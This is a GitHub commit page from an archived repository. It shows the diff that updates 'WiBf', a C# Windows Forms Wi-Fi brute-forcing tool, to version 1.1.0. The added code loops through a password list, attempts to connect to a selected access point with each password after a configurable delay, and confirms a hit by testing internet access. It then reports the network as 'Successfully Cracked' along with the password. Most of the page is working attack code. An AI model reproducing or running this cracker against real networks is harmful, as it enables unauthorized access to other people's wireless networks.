Skip to content
This repository has been archived by the owner on Oct 19, 2022. It is now read-only.

Commit

Permalink
Add v1.1.0 Files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
yatt-ze authored Apr 28, 2017
1 parent f2f72bd commit f1cc855
Show file tree
Hide file tree
Showing 12 changed files with 95 additions and 11 deletions.
23 changes: 23 additions & 0 deletions WiBf/Form1.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

83 changes: 72 additions & 11 deletions WiBf/Form1.cs
Original file line number Diff line number Diff line change
Expand Up @@ -12,12 +12,15 @@
using SimpleWifi.Win32;
using NativeWifi;
using System.Collections.ObjectModel;
using System.Reflection;
using System.Net;

namespace WiBf
{
public partial class Form1 : Form
{
private static Wifi wifi;
NativeWifi.WlanClient wlan = new NativeWifi.WlanClient();
List<string> passwords = new List<string>();

public Form1()
Expand All @@ -31,32 +34,82 @@ private void Form1_Load(object sender, EventArgs e)
wifi.ConnectionStatusChanged += wifi_ConnectionStatusChanged;
linkLabel1.Links.Add(12, 7, "https://github.com/Tlgyt");
List();
label3.Text = "Status: idle";
}

private int check(AccessPoint selectedAP)
private delegate void SetControlPropertyThreadSafeDelegate(
Control control,
string propertyName,
object propertyValue);

public static void SetControlPropertyThreadSafe(
Control control,
string propertyName,
object propertyValue)
{
if (control.InvokeRequired)
{
control.Invoke(new SetControlPropertyThreadSafeDelegate
(SetControlPropertyThreadSafe),
new object[] { control, propertyName, propertyValue });
}
else
{
control.GetType().InvokeMember(
propertyName,
BindingFlags.SetProperty,
null,
control,
new object[] { propertyValue });
}
}

private bool check(AccessPoint selectedAP)
{
NativeWifi.WlanClient wlan = new NativeWifi.WlanClient();
Collection<String> connectedSsids = new Collection<string>();
if (WifiStatus.Connected.ToString() == "true")
if (WifiStatus.Connected.ToString() == "Connected")
{
foreach (NativeWifi.WlanClient.WlanInterface wlanInterface in wlan.Interfaces)
{
Wlan.Dot11Ssid ssid = wlanInterface.CurrentConnection.wlanAssociationAttributes.dot11Ssid;
connectedSsids.Add(new String(Encoding.ASCII.GetChars(ssid.SSID, 0, (int)ssid.SSIDLength)));
try
{
Wlan.Dot11Ssid ssid = wlanInterface.CurrentConnection.wlanAssociationAttributes.dot11Ssid;
connectedSsids.Add(new String(Encoding.ASCII.GetChars(ssid.SSID, 0, (int)ssid.SSIDLength)));
}
catch(Exception)
{
return false;
}
}
foreach (string ssid in connectedSsids)
{
if (selectedAP.Name == ssid)
{
return 1;
return true;
}
else
{
return 0;
return false;
}
}
}
return 0;
return false;
}

public static bool CheckForInternetConnection()
{
try
{
using (var client = new WebClient())
using (var stream = client.OpenRead("http://www.google.com"))
{
return true;
}
}
catch
{
return false;
}
}

private IEnumerable<AccessPoint> List()
Expand Down Expand Up @@ -94,6 +147,7 @@ private void crack(AccessPoint selectedAP)
}
foreach (string pass in passwords)
{
SetControlPropertyThreadSafe(label3, "Text", "Status: Trying Password: "+pass);
// Auth
AuthRequest authRequest = new AuthRequest(selectedAP);
bool overwrite = true;
Expand All @@ -107,7 +161,6 @@ private void crack(AccessPoint selectedAP)
Console.Write("\r\nPlease enter a username: ");
authRequest.Username = Console.ReadLine();
}

authRequest.Password = pass;

if (authRequest.IsDomainSupported)
Expand All @@ -119,7 +172,13 @@ private void crack(AccessPoint selectedAP)
}

selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
Thread.Sleep(100);
int i = Convert.ToInt32(textBox1.Text);
Thread.Sleep(i*1000);
if (check(selectedAP) == true && CheckForInternetConnection() == true)
{
SetControlPropertyThreadSafe(label3, "Text", "Status: Successfully Cracked: "+selectedAP.Name+" With Password: "+pass);
return;
}
}
}

Expand All @@ -137,7 +196,9 @@ private void button1_Click(object sender, EventArgs e)
selectedAP = ap;
}
}
crack(selectedAP);
Thread t = new Thread(() => crack(selectedAP));
t.IsBackground = true;
t.Start();
}
catch (Exception a)
{
Expand Down
Binary file modified WiBf/bin/Debug/WiBf.exe
Binary file not shown.
Binary file modified WiBf/bin/Debug/WiBf.pdb
Binary file not shown.
Binary file modified WiBf/bin/Release/WiBf.exe
Binary file not shown.
Binary file modified WiBf/bin/Release/WiBf.pdb
Binary file not shown.
Binary file modified WiBf/obj/Debug/WiBf.csproj.GenerateResource.Cache
Binary file not shown.
Binary file modified WiBf/obj/Debug/WiBf.exe
Binary file not shown.
Binary file modified WiBf/obj/Debug/WiBf.pdb
Binary file not shown.
Binary file modified WiBf/obj/Release/WiBf.csproj.GenerateResource.Cache
Binary file not shown.
Binary file modified WiBf/obj/Release/WiBf.exe
Binary file not shown.
Binary file modified WiBf/obj/Release/WiBf.pdb
Binary file not shown.

0 comments on commit f1cc855

Please sign in to comment.